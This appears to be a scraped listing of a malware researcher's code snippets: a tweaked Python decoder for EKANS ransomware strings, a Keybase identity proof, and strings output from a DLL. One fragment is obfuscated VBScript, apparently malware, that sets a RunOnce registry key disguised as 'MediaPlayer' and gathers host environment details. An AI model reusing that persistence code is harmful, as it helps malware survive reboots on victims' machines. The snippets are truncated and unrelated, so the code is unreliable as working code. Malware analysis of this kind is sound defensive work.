Karol Trociński W3ndige

Tweaked script:

import re
import sys
import pefile
import struct
import binascii

Strings decoded from the newer version of #EKANS ransomware.

import re
import sys
import pefile
import struct
import binascii

On Error Resume Next
Set bhBxz = WScript.CreateObject("WScript.Shell")
NgWJtK = "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce\MediaPlayer"
Set VFUSKXwNgG = CreateObject("WScript.Shell")
Set ioBuA = CreateObject("Scripting.FileSystemObject")
ARtLeH = VFUSKXwNgG.ExpandEnvironmentStrings("%USERPROFILE%")
GOfuTtmrFM=VFUSKXwNgG.ExpandEnvironmentStrings("%COMPUTERNAME%")
tAqdq=VFUSKXwNgG.ExpandEnvironmentStrings("%SYSTEMDRIVE%")
IVcetC=VFUSKXwNgG.ExpandEnvironmentStrings("%APPDATA%")

Script and the decoded strings from the EKANS/Snake ransomware. Original script written by @sysopfb - I've only modified the regexp to cover all cases where decryption was used in the sample.

Script:

import re
import sys
import pefile
import struct

Keybase proof

I hereby claim:

I am W3ndige on github.
I am w3ndige (https://keybase.io/w3ndige) on keybase.
I have a public key whose fingerprint is 2B28 A0A2 94AE FE39 F809 6580 6221 363F F83A B8FB

To claim this, I am signing this object:

	$ strings -e l faxprint.dll
	GGMM
	exit
	%s%s\
	Kernel32.dll
	May 9 2020
	%d*%d
	%dd%dh%dm%ds
	T:%dM,A:%dM
	~MHz